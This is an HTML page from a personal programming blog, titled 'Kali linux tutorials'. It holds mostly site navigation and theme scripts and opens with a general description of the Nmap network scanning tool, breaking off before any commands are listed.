727 lines
60 KiB
HTML
727 lines
60 KiB
HTML
<!DOCTYPE HTML>
|
||
<html lang="en" class="coal" dir="ltr">
|
||
<head>
|
||
<!-- Book generated using mdBook -->
|
||
<meta charset="UTF-8">
|
||
<title>Kali linux tutorials - Andrew's Blog</title>
|
||
|
||
|
||
<!-- Custom HTML head -->
|
||
|
||
<meta name="description" content="Andrew Ryan's Blog">
|
||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||
<meta name="theme-color" content="#ffffff">
|
||
|
||
<link rel="icon" href="../../favicon.svg">
|
||
<link rel="shortcut icon" href="../../favicon.png">
|
||
<link rel="stylesheet" href="../../css/variables.css">
|
||
<link rel="stylesheet" href="../../css/general.css">
|
||
<link rel="stylesheet" href="../../css/chrome.css">
|
||
|
||
<!-- Fonts -->
|
||
<link rel="stylesheet" href="../../FontAwesome/css/font-awesome.css">
|
||
<link rel="stylesheet" href="../../fonts/fonts.css">
|
||
|
||
<!-- Highlight.js Stylesheets -->
|
||
<link rel="stylesheet" href="../../highlight.css">
|
||
<link rel="stylesheet" href="../../tomorrow-night.css">
|
||
<link rel="stylesheet" href="../../ayu-highlight.css">
|
||
|
||
<!-- Custom theme stylesheets -->
|
||
<link rel="stylesheet" href="../../src/style/custom.css">
|
||
|
||
<!-- MathJax -->
|
||
<script async src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
|
||
</head>
|
||
<body class="sidebar-visible no-js">
|
||
<div id="body-container">
|
||
<!-- Provide site root to javascript -->
|
||
<script>
|
||
var path_to_root = "../../";
|
||
var default_theme = window.matchMedia("(prefers-color-scheme: dark)").matches ? "coal" : "coal";
|
||
</script>
|
||
|
||
<!-- Work around some values being stored in localStorage wrapped in quotes -->
|
||
<script>
|
||
try {
|
||
var theme = localStorage.getItem('mdbook-theme');
|
||
var sidebar = localStorage.getItem('mdbook-sidebar');
|
||
|
||
if (theme.startsWith('"') && theme.endsWith('"')) {
|
||
localStorage.setItem('mdbook-theme', theme.slice(1, theme.length - 1));
|
||
}
|
||
|
||
if (sidebar.startsWith('"') && sidebar.endsWith('"')) {
|
||
localStorage.setItem('mdbook-sidebar', sidebar.slice(1, sidebar.length - 1));
|
||
}
|
||
} catch (e) { }
|
||
</script>
|
||
|
||
<!-- Set the theme before any content is loaded, prevents flash -->
|
||
<script>
|
||
var theme;
|
||
try { theme = localStorage.getItem('mdbook-theme'); } catch(e) { }
|
||
if (theme === null || theme === undefined) { theme = default_theme; }
|
||
var html = document.querySelector('html');
|
||
html.classList.remove('coal')
|
||
html.classList.add(theme);
|
||
var body = document.querySelector('body');
|
||
body.classList.remove('no-js')
|
||
body.classList.add('js');
|
||
</script>
|
||
|
||
<input type="checkbox" id="sidebar-toggle-anchor" class="hidden">
|
||
|
||
<!-- Hide / unhide sidebar before it is displayed -->
|
||
<script>
|
||
var body = document.querySelector('body');
|
||
var sidebar = null;
|
||
var sidebar_toggle = document.getElementById("sidebar-toggle-anchor");
|
||
if (document.body.clientWidth >= 1080) {
|
||
try { sidebar = localStorage.getItem('mdbook-sidebar'); } catch(e) { }
|
||
sidebar = sidebar || 'visible';
|
||
} else {
|
||
sidebar = 'hidden';
|
||
}
|
||
sidebar_toggle.checked = sidebar === 'visible';
|
||
body.classList.remove('sidebar-visible');
|
||
body.classList.add("sidebar-" + sidebar);
|
||
</script>
|
||
|
||
<nav id="sidebar" class="sidebar" aria-label="Table of contents">
|
||
<div class="sidebar-scrollbox">
|
||
<ol class="chapter"><li class="chapter-item affix "><a href="../../index.html">Andrew's Blog</a></li><li class="chapter-item "><a href="../../posts/linux/linux.html"><strong aria-hidden="true">1.</strong> Linux</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/linux/install_linux.html"><strong aria-hidden="true">1.1.</strong> install linux</a></li><li class="chapter-item "><a href="../../posts/linux/bash_profile.html"><strong aria-hidden="true">1.2.</strong> bash profile</a></li><li class="chapter-item "><a href="../../posts/linux/command_list.html"><strong aria-hidden="true">1.3.</strong> command list</a></li><li class="chapter-item "><a href="../../posts/linux/git_guide.html"><strong aria-hidden="true">1.4.</strong> git guide</a></li><li class="chapter-item "><a href="../../posts/linux/tar.html"><strong aria-hidden="true">1.5.</strong> tar</a></li></ol></li><li class="chapter-item "><a href="../../posts/mac/mac.html"><strong aria-hidden="true">2.</strong> MacOS</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/mac/macos_profiles.html"><strong aria-hidden="true">2.1.</strong> macos profiles</a></li></ol></li><li class="chapter-item "><a href="../../posts/swift/swift.html"><strong aria-hidden="true">3.</strong> Swift</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/swift/learn_swift.html"><strong aria-hidden="true">3.1.</strong> learn swift basics</a></li><li class="chapter-item "><a href="../../posts/swift/swift_extensions.html"><strong aria-hidden="true">3.2.</strong> Swift extensions</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_extension.html"><strong aria-hidden="true">3.3.</strong> SwiftUI extensions</a></li><li class="chapter-item "><a href="../../posts/swift/install_swift.html"><strong aria-hidden="true">3.4.</strong> install swift</a></li><li class="chapter-item "><a href="../../posts/swift/task_planner.html"><strong aria-hidden="true">3.5.</strong> implment task panner app with SwiftUI</a></li><li class="chapter-item "><a href="../../posts/swift/swift_cheat_sheet.html"><strong aria-hidden="true">3.6.</strong> Swift Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/swift/yinci_url.html"><strong aria-hidden="true">3.7.</strong> Personal privacy protocol</a></li><li class="chapter-item "><a href="../../posts/swift/swift_regular_exressions.html"><strong aria-hidden="true">3.8.</strong> Swift regular exressions</a></li><li class="chapter-item "><a href="../../posts/ios/how_to_create_beautiful_ios_charts_in_swift.html"><strong aria-hidden="true">3.9.</strong> How to Create Beautiful iOS Charts in Swift</a></li><li class="chapter-item "><a href="../../posts/swift/swiftui_source_code.html"><strong aria-hidden="true">3.10.</strong> SwiftUI source code</a></li><li class="chapter-item "><a href="../../posts/swift/use_swift_fetch_iciba_api.html"><strong aria-hidden="true">3.11.</strong> use swift fetch iciba API</a></li></ol></li><li class="chapter-item "><a href="../../posts/ios/ios.html"><strong aria-hidden="true">4.</strong> iOS</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ios/cocaposd_setup_and_install_for_ios_project.html"><strong aria-hidden="true">4.1.</strong> cocaposd setup and install for ios project</a></li><li class="chapter-item "><a href="../../posts/ios/swiftui_show_gif_image.html"><strong aria-hidden="true">4.2.</strong> SwiftUI show gif image</a></li><li class="chapter-item "><a href="../../posts/ios/implement_task_planner_app.html"><strong aria-hidden="true">4.3.</strong> implement Task planner App</a></li></ol></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c.html"><strong aria-hidden="true">5.</strong> Objective-C</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/objective_c/objective_c_cheat_sheet.html"><strong aria-hidden="true">5.1.</strong> Objective-C Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/objective_c/objective_c_for_absolute_beginners_read_note.html"><strong aria-hidden="true">5.2.</strong> Objective-C Note</a></li></ol></li><li class="chapter-item "><a href="../../posts/dart/dart.html"><strong aria-hidden="true">6.</strong> Dart</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/dart/flutter.html"><strong aria-hidden="true">6.1.</strong> Flutter Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/dart/dart_cheat_sheet.html"><strong aria-hidden="true">6.2.</strong> Dart Cheat Sheet</a></li><li class="chapter-item "><a href="../../posts/flutter/flutter_dev_test.html"><strong aria-hidden="true">6.3.</strong> Flutter dev test</a></li></ol></li><li class="chapter-item "><a href="../../posts/rust/rust.html"><strong aria-hidden="true">7.</strong> Rust</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/rust/offline_use_rust.html"><strong aria-hidden="true">7.1.</strong> Offline use rust</a></li><li class="chapter-item "><a href="../../posts/rust/rust_grammer.html"><strong aria-hidden="true">7.2.</strong> rust grammar</a></li><li class="chapter-item "><a href="../../posts/rust/pase_string_and_decimal_conversion.html"><strong aria-hidden="true">7.3.</strong> pase string and decimal conversion</a></li><li class="chapter-item "><a href="../../posts/rust/parse_types.html"><strong aria-hidden="true">7.4.</strong> rust types</a></li><li class="chapter-item "><a href="../../posts/rust/rust_life_cycle.html"><strong aria-hidden="true">7.5.</strong> Rust life cycle</a></li><li class="chapter-item "><a href="../../posts/rust/rust_generic.html"><strong aria-hidden="true">7.6.</strong> rust generics</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implment_matrix.html"><strong aria-hidden="true">7.7.</strong> Rust implement matrix</a></li><li class="chapter-item "><a href="../../posts/rust/rust_sort.html"><strong aria-hidden="true">7.8.</strong> Rust implement sort algorithms</a></li><li class="chapter-item "><a href="../../posts/rust/implement_aes_encryption.html"><strong aria-hidden="true">7.9.</strong> Rust implement AEC encryption and decryption</a></li><li class="chapter-item "><a href="../../posts/rust/implement_trie_data_structure.html"><strong aria-hidden="true">7.10.</strong> implement trie data structure</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_tree.html"><strong aria-hidden="true">7.11.</strong> implement tree data_structure</a></li><li class="chapter-item "><a href="../../posts/rust/list_dir.html"><strong aria-hidden="true">7.12.</strong> list dir</a></li><li class="chapter-item "><a href="../../posts/rust/fast_way_to_implment_object_trait.html"><strong aria-hidden="true">7.13.</strong> fast way to implment object trait</a></li><li class="chapter-item "><a href="../../posts/rust/compress_rust_binary_size.html"><strong aria-hidden="true">7.14.</strong> compress rust binary size</a></li><li class="chapter-item "><a href="../../posts/rust/implment_file_upload_backend.html"><strong aria-hidden="true">7.15.</strong> impliment file upload</a></li><li class="chapter-item "><a href="../../posts/rust/this_is_add_post_cli_implementation_in_rust.html"><strong aria-hidden="true">7.16.</strong> this is add_post cli implementation in rust</a></li><li class="chapter-item "><a href="../../posts/rust/use_rust_implment_a_copyclipbord_cli.html"><strong aria-hidden="true">7.17.</strong> Use rust implment a copyclipbord CLI</a></li><li class="chapter-item "><a href="../../posts/rust/sqlite_database_add_delete_update_show_in_rust.html"><strong aria-hidden="true">7.18.</strong> sqlite database add delete update show in rust</a></li><li class="chapter-item "><a href="../../posts/rust/implementing_tokio_joinhandle_for_wasm.html"><strong aria-hidden="true">7.19.</strong> Implementing tokio JoinHandle for wasm</a></li><li class="chapter-item "><a href="../../posts/rust/rust_implement_a_crate_for_encode_and_decode_brainfuck_and_ook.html"><strong aria-hidden="true">7.20.</strong> rust implement a crate for encode and decode brainfuck and ook</a></li><li class="chapter-item "><a href="../../posts/rust/slint_builtin_elements.html"><strong aria-hidden="true">7.21.</strong> Slint Builtin Elements</a></li><li class="chapter-item "><a href="../../posts/rust/corporate_network_install_rust_on_windows.html"><strong aria-hidden="true">7.22.</strong> Corporate network install Rust on windows</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_file_how_to_judge_static_link_or_dynamic_link_in_macos.html"><strong aria-hidden="true">7.23.</strong> rust binary file how to judge static link or dynamic link in Macos</a></li><li class="chapter-item "><a href="../../posts/rust/rust_binary_include_dir_and_get_contents.html"><strong aria-hidden="true">7.24.</strong> rust binary include dir and get contents</a></li><li class="chapter-item "><a href="../../posts/rust/how_to_create_yolov8_based_object_detection_web_service_using_python,_julia,_node.js,_javascript,_go_and_rust.html"><strong aria-hidden="true">7.25.</strong> How to create YOLOv8-based object detection web service using Python, Julia, Node.js, JavaScript, Go and Rust</a></li></ol></li><li class="chapter-item "><a href="../../posts/java/java.html"><strong aria-hidden="true">8.</strong> Java</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/java/java_grammar.html"><strong aria-hidden="true">8.1.</strong> java grammar and codewar</a></li><li class="chapter-item "><a href="../../posts/java/run_jar.html"><strong aria-hidden="true">8.2.</strong> java run .jar</a></li><li class="chapter-item "><a href="../../posts/java/java_pomxml_add_defaultgoal_to_build.html"><strong aria-hidden="true">8.3.</strong> Java pomxml add defaultGoal to build</a></li><li class="chapter-item "><a href="../../posts/java/java_set_mvn_mirror.html"><strong aria-hidden="true">8.4.</strong> Java set mvn mirror</a></li></ol></li><li class="chapter-item "><a href="../../posts/python/python.html"><strong aria-hidden="true">9.</strong> Python</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/python/convert_pesn.html"><strong aria-hidden="true">9.1.</strong> convert pesn</a></li><li class="chapter-item "><a href="../../posts/python/find_remove_dir.html"><strong aria-hidden="true">9.2.</strong> find and remove dir</a></li><li class="chapter-item "><a href="../../posts/python/timing_message.html"><strong aria-hidden="true">9.3.</strong> wechat send message</a></li><li class="chapter-item "><a href="../../posts/python/use_python_openpyxl_package_read_and_edit_excel_files.html"><strong aria-hidden="true">9.4.</strong> Use python openpyxl package read and edit excel files</a></li><li class="chapter-item "><a href="../../posts/python/sanctum_model_yaml.html"><strong aria-hidden="true">9.5.</strong> sanctum model yaml</a></li><li class="chapter-item "><a href="../../posts/python/how_to_detect_objects_on_images_using_the_yolov8_neural_network.html"><strong aria-hidden="true">9.6.</strong> How to detect objects on images using the YOLOv8 neural network</a></li></ol></li><li class="chapter-item "><a href="../../posts/go/go.html"><strong aria-hidden="true">10.</strong> Go</a></li><li class="chapter-item "><a href="../../posts/js/js.html"><strong aria-hidden="true">11.</strong> Javascript</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/js/js_tutorial.html"><strong aria-hidden="true">11.1.</strong> js tutorial</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_map.html"><strong aria-hidden="true">11.2.</strong> ja map</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_math.html"><strong aria-hidden="true">11.3.</strong> js math</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_object.html"><strong aria-hidden="true">11.4.</strong> js object</a></li><li class="chapter-item "><a href="../../posts/js/js_tutorial_set.html"><strong aria-hidden="true">11.5.</strong> js set</a></li><li class="chapter-item "><a href="../../posts/js/single_thread_and_asynchronous.html"><strong aria-hidden="true">11.6.</strong> single thread and asynchronous</a></li><li class="chapter-item "><a href="../../posts/js/this.html"><strong aria-hidden="true">11.7.</strong> js this</a></li><li class="chapter-item "><a href="../../posts/js/js_implment_aes.html"><strong aria-hidden="true">11.8.</strong> js implment aes</a></li><li class="chapter-item "><a href="../../posts/js/getting_started_with_ajax.html"><strong aria-hidden="true">11.9.</strong> getting started with ajax</a></li><li class="chapter-item "><a href="../../posts/js/BinarySearchTree.html"><strong aria-hidden="true">11.10.</strong> binary search tree</a></li><li class="chapter-item "><a href="../../posts/js/goole_zx.html"><strong aria-hidden="true">11.11.</strong> goole zx</a></li><li class="chapter-item "><a href="../../posts/js/es6.html"><strong aria-hidden="true">11.12.</strong> es6</a></li></ol></li><li class="chapter-item "><a href="../../posts/ruby/ruby.html"><strong aria-hidden="true">12.</strong> Ruby</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ruby/rails_setup_env.html"><strong aria-hidden="true">12.1.</strong> ruby on rails setup environment</a></li><li class="chapter-item "><a href="../../posts/ruby/learn_ruby.html"><strong aria-hidden="true">12.2.</strong> learn ruby</a></li><li class="chapter-item "><a href="../../posts/ruby/ruby_note.html"><strong aria-hidden="true">12.3.</strong> Ruby Note</a></li><li class="chapter-item "><a href="../../posts/ruby/setup_ruby_for_ctf.html"><strong aria-hidden="true">12.4.</strong> Setup ruby for CTF</a></li></ol></li><li class="chapter-item "><a href="../../posts/react/react.html"><strong aria-hidden="true">13.</strong> React</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/react/react_life_cycle.html"><strong aria-hidden="true">13.1.</strong> react life cycle</a></li><li class="chapter-item "><a href="../../posts/react/react_router.html"><strong aria-hidden="true">13.2.</strong> react router</a></li><li class="chapter-item "><a href="../../posts/react/react_this.html"><strong aria-hidden="true">13.3.</strong> react this</a></li><li class="chapter-item "><a href="../../posts/react/react_interviw.html"><strong aria-hidden="true">13.4.</strong> react interview</a></li><li class="chapter-item "><a href="../../posts/react/important_react_interview.html"><strong aria-hidden="true">13.5.</strong> important react interview</a></li><li class="chapter-item "><a href="../../posts/react/react_quick_reference.html"><strong aria-hidden="true">13.6.</strong> react quick reference</a></li><li class="chapter-item "><a href="../../posts/react/redux_quick_reference.html"><strong aria-hidden="true">13.7.</strong> redux quick reference</a></li></ol></li><li class="chapter-item "><a href="../../posts/vue/vue.html"><strong aria-hidden="true">14.</strong> Vue</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/vue/vue_ajax.html"><strong aria-hidden="true">14.1.</strong> vue ajax</a></li></ol></li><li class="chapter-item "><a href="../../posts/angular/angular.html"><strong aria-hidden="true">15.</strong> Angular</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/angular/controller_communication.html"><strong aria-hidden="true">15.1.</strong> controller communication</a></li><li class="chapter-item "><a href="../../posts/angular/creating_custom_directives.html"><strong aria-hidden="true">15.2.</strong> creating custom directives</a></li><li class="chapter-item "><a href="../../posts/angular/directive_notes.html"><strong aria-hidden="true">15.3.</strong> directive notes</a></li><li class="chapter-item "><a href="../../posts/angular/directive_communication.html"><strong aria-hidden="true">15.4.</strong> directive communication</a></li><li class="chapter-item "><a href="../../posts/angular/post_params.html"><strong aria-hidden="true">15.5.</strong> post params</a></li><li class="chapter-item "><a href="../../posts/angular/read_json_angular.html"><strong aria-hidden="true">15.6.</strong> read json angular</a></li><li class="chapter-item "><a href="../../posts/angular/same_route_reload.html"><strong aria-hidden="true">15.7.</strong> same route reload</a></li></ol></li><li class="chapter-item "><a href="../../posts/css/css.html"><strong aria-hidden="true">16.</strong> Css</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/css/use_css_media.html"><strong aria-hidden="true">16.1.</strong> use css media</a></li></ol></li><li class="chapter-item "><a href="../../posts/php/php.html"><strong aria-hidden="true">17.</strong> Php</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/php/for_php_string_implment_some_extemtion_functions.html"><strong aria-hidden="true">17.1.</strong> for php string implment some extemtion functions</a></li><li class="chapter-item "><a href="../../posts/php/php_cheatsheet.html"><strong aria-hidden="true">17.2.</strong> PHP cheatsheet</a></li></ol></li><li class="chapter-item "><a href="../../posts/leetcode/leetcode.html"><strong aria-hidden="true">18.</strong> Leetcode</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/leetcode/rust_leetcode.html"><strong aria-hidden="true">18.1.</strong> rust leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_codewar.html"><strong aria-hidden="true">18.2.</strong> rust codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/swift_codewar.html"><strong aria-hidden="true">18.3.</strong> swift codewar</a></li><li class="chapter-item "><a href="../../posts/leetcode/js_leetcode.html"><strong aria-hidden="true">18.4.</strong> js leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/java_leetcode.html"><strong aria-hidden="true">18.5.</strong> java leetcode</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_huawei.html"><strong aria-hidden="true">18.6.</strong> huawei test</a></li><li class="chapter-item "><a href="../../posts/leetcode/rust_utils.html"><strong aria-hidden="true">18.7.</strong> rust common functions</a></li><li class="chapter-item "><a href="../../posts/leetcode/olympiad_training.html"><strong aria-hidden="true">18.8.</strong> Computer olympiad training</a></li></ol></li><li class="chapter-item expanded "><a href="../../posts/ctf/CTF.html"><strong aria-hidden="true">19.</strong> CTF</a><a class="toggle"><div>❱</div></a></li><li><ol class="section"><li class="chapter-item "><a href="../../posts/ctf/CTF_Note.html"><strong aria-hidden="true">19.1.</strong> CTF Note</a></li><li class="chapter-item "><a href="../../posts/ctf/0.1_Web.html"><strong aria-hidden="true">19.2.</strong> Web</a></li><li class="chapter-item "><a href="../../posts/ctf/4.1_Misc.html"><strong aria-hidden="true">19.3.</strong> Misc</a></li><li class="chapter-item "><a href="../../posts/ctf/3.2_PWN_note.html"><strong aria-hidden="true">19.4.</strong> PWN</a></li><li class="chapter-item "><a href="../../posts/ctf/3.1_Crypto.html"><strong aria-hidden="true">19.5.</strong> Crypto</a></li><li class="chapter-item "><a href="../../posts/ctf/3.4_RSA_note.html"><strong aria-hidden="true">19.6.</strong> Rsa attack</a></li><li class="chapter-item "><a href="../../posts/ctf/3.5_Base64.html"><strong aria-hidden="true">19.7.</strong> Base64</a></li><li class="chapter-item "><a href="../../posts/ctf/0.0_SQL Injection Cheatsheet.html"><strong aria-hidden="true">19.8.</strong> SQL Injection Cheatsheet</a></li><li class="chapter-item "><a href="../../posts/ctf/1.1_SQL_injection.html"><strong aria-hidden="true">19.9.</strong> SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.2_SQL_injection_UNION_attacks.html"><strong aria-hidden="true">19.10.</strong> SQL Injection UNION attacks</a></li><li class="chapter-item "><a href="../../posts/ctf/1.3_Blind SQL injection.html"><strong aria-hidden="true">19.11.</strong> Blind SQL Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.4_Code Injection.html"><strong aria-hidden="true">19.12.</strong> Code Injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.5_SSRF.html"><strong aria-hidden="true">19.13.</strong> SSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.6_OS command injection.html"><strong aria-hidden="true">19.14.</strong> OS command injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.7_Local file inclusion.html"><strong aria-hidden="true">19.15.</strong> Local file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.8_Remote file inclusion.html"><strong aria-hidden="true">19.16.</strong> Remote file inclusion</a></li><li class="chapter-item "><a href="../../posts/ctf/1.9_CSRFm.html"><strong aria-hidden="true">19.17.</strong> CSRF</a></li><li class="chapter-item "><a href="../../posts/ctf/1.10_NoSQL injection.html"><strong aria-hidden="true">19.18.</strong> NoSQL injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.11_JSON injection.html"><strong aria-hidden="true">19.19.</strong> JSON injection</a></li><li class="chapter-item "><a href="../../posts/ctf/1.12_CTF_Web_SQL_Note.html"><strong aria-hidden="true">19.20.</strong> CTF Web SQL Note</a></li><li class="chapter-item "><a href="../../posts/ctf/2.1_XXE.html"><strong aria-hidden="true">19.21.</strong> XXE</a></li><li class="chapter-item "><a href="../../posts/ctf/2.2_XSS.html"><strong aria-hidden="true">19.22.</strong> XSS</a></li><li class="chapter-item "><a href="../../posts/ctf/2.3_Upload File.html"><strong aria-hidden="true">19.23.</strong> Upload File</a></li><li class="chapter-item "><a href="../../posts/ctf/2.4_serialize_unserialize.html"><strong aria-hidden="true">19.24.</strong> serialize unserialize</a></li><li class="chapter-item "><a href="../../posts/ctf/2.5_Race condition.html"><strong aria-hidden="true">19.25.</strong> Race condition</a></li><li class="chapter-item "><a href="../../posts/ctf/zip_plain_text_attack.html"><strong aria-hidden="true">19.26.</strong> Zip plain text attack</a></li><li class="chapter-item "><a href="../../posts/ctf/3.2_PWN_note.html"><strong aria-hidden="true">19.27.</strong> PWN_note</a></li><li class="chapter-item "><a href="../../posts/ctf/3.3_pwn HCTF2016 brop.html"><strong aria-hidden="true">19.28.</strong> pwn HCTF2016 brop</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_patch_defense_skill.html"><strong aria-hidden="true">19.29.</strong> PWN Patch defense skill</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_stack_overflow.html"><strong aria-hidden="true">19.30.</strong> PWN stack overflow</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_heap_overflow.html"><strong aria-hidden="true">19.31.</strong> PWN heap overflow</a></li><li class="chapter-item "><a href="../../posts/ctf/pwn_format_string_vulnerability.html"><strong aria-hidden="true">19.32.</strong> PWN Format String Vulnerability</a></li><li class="chapter-item expanded "><a href="../../posts/ctf/kali_linux_tutorials.html" class="active"><strong aria-hidden="true">19.33.</strong> Kali linux tutorials</a></li><li class="chapter-item "><a href="../../posts/ctf/google_dorks_2023_lists.html"><strong aria-hidden="true">19.34.</strong> Google Dorks 2023 Lists</a></li><li class="chapter-item "><a href="../../posts/ctf/dvwa_writeup.html"><strong aria-hidden="true">19.35.</strong> DVWA WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/bwapp_writeup.html"><strong aria-hidden="true">19.36.</strong> bWAPP WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/sqlilabs_writeup.html"><strong aria-hidden="true">19.37.</strong> sqlilabs WriteUp</a></li><li class="chapter-item "><a href="../../posts/ctf/ctf_mindmap_list.html"><strong aria-hidden="true">19.38.</strong> ctf mindmap list</a></li></ol></li></ol>
|
||
</div>
|
||
<div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
|
||
</nav>
|
||
|
||
<!-- Track and set sidebar scroll position -->
|
||
<script>
|
||
var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
|
||
sidebarScrollbox.addEventListener('click', function(e) {
|
||
if (e.target.tagName === 'A') {
|
||
sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
|
||
}
|
||
}, { passive: true });
|
||
var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
|
||
sessionStorage.removeItem('sidebar-scroll');
|
||
if (sidebarScrollTop) {
|
||
// preserve sidebar scroll position when navigating via links within sidebar
|
||
sidebarScrollbox.scrollTop = sidebarScrollTop;
|
||
} else {
|
||
// scroll sidebar to current active section when navigating via "next/previous chapter" buttons
|
||
var activeSection = document.querySelector('#sidebar .active');
|
||
if (activeSection) {
|
||
activeSection.scrollIntoView({ block: 'center' });
|
||
}
|
||
}
|
||
</script>
|
||
|
||
<div id="page-wrapper" class="page-wrapper">
|
||
|
||
<div class="page">
|
||
<div id="menu-bar-hover-placeholder"></div>
|
||
<div id="menu-bar" class="menu-bar sticky">
|
||
<div class="left-buttons">
|
||
<label id="sidebar-toggle" class="icon-button" for="sidebar-toggle-anchor" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
|
||
<i class="fa fa-bars"></i>
|
||
</label>
|
||
<button id="theme-toggle" class="icon-button" type="button" title="Change theme" aria-label="Change theme" aria-haspopup="true" aria-expanded="false" aria-controls="theme-list">
|
||
<i class="fa fa-paint-brush"></i>
|
||
</button>
|
||
<ul id="theme-list" class="theme-popup" aria-label="Themes" role="menu">
|
||
<li role="none"><button role="menuitem" class="theme" id="light">Light</button></li>
|
||
<li role="none"><button role="menuitem" class="theme" id="rust">Rust</button></li>
|
||
<li role="none"><button role="menuitem" class="theme" id="coal">Coal</button></li>
|
||
<li role="none"><button role="menuitem" class="theme" id="navy">Navy</button></li>
|
||
<li role="none"><button role="menuitem" class="theme" id="ayu">Ayu</button></li>
|
||
</ul>
|
||
<button id="search-toggle" class="icon-button" type="button" title="Search. (Shortkey: s)" aria-label="Toggle Searchbar" aria-expanded="false" aria-keyshortcuts="S" aria-controls="searchbar">
|
||
<i class="fa fa-search"></i>
|
||
</button>
|
||
</div>
|
||
|
||
<h1 class="menu-title">Andrew's Blog</h1>
|
||
|
||
<div class="right-buttons">
|
||
<a href="https://gitee.com/dnrops/dnrops" title="Git repository" aria-label="Git repository">
|
||
<i id="git-repository-button" class="fa fa-github"></i>
|
||
</a>
|
||
|
||
</div>
|
||
</div>
|
||
|
||
<div id="search-wrapper" class="hidden">
|
||
<form id="searchbar-outer" class="searchbar-outer">
|
||
<input type="search" id="searchbar" name="searchbar" placeholder="Search this book ..." aria-controls="searchresults-outer" aria-describedby="searchresults-header">
|
||
</form>
|
||
<div id="searchresults-outer" class="searchresults-outer hidden">
|
||
<div id="searchresults-header" class="searchresults-header"></div>
|
||
<ul id="searchresults">
|
||
</ul>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Apply ARIA attributes after the sidebar and the sidebar toggle button are added to the DOM -->
|
||
<script>
|
||
document.getElementById('sidebar-toggle').setAttribute('aria-expanded', sidebar === 'visible');
|
||
document.getElementById('sidebar').setAttribute('aria-hidden', sidebar !== 'visible');
|
||
Array.from(document.querySelectorAll('#sidebar a')).forEach(function(link) {
|
||
link.setAttribute('tabIndex', sidebar === 'visible' ? 0 : -1);
|
||
});
|
||
</script>
|
||
|
||
<div id="content" class="content">
|
||
<main>
|
||
<h1 id="kali-linux-tutorials"><a class="header" href="#kali-linux-tutorials">Kali linux tutorials</a></h1>
|
||
<p style="display:flex;
|
||
align-items: center;
|
||
justify-content: end;
|
||
">Pub Date: 2023-07-31</p>
|
||
### NMAP Commands
|
||
Nmap (“Network Mapper”) is a free and open source utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime.
|
||
**Also Read- [NMAP Commands Cheatsheet](https://hackersonlineclub.com/nmap-commands-cheatsheet/)**
|
||
Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.
|
||
It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X.
|
||
**Command Description**
|
||
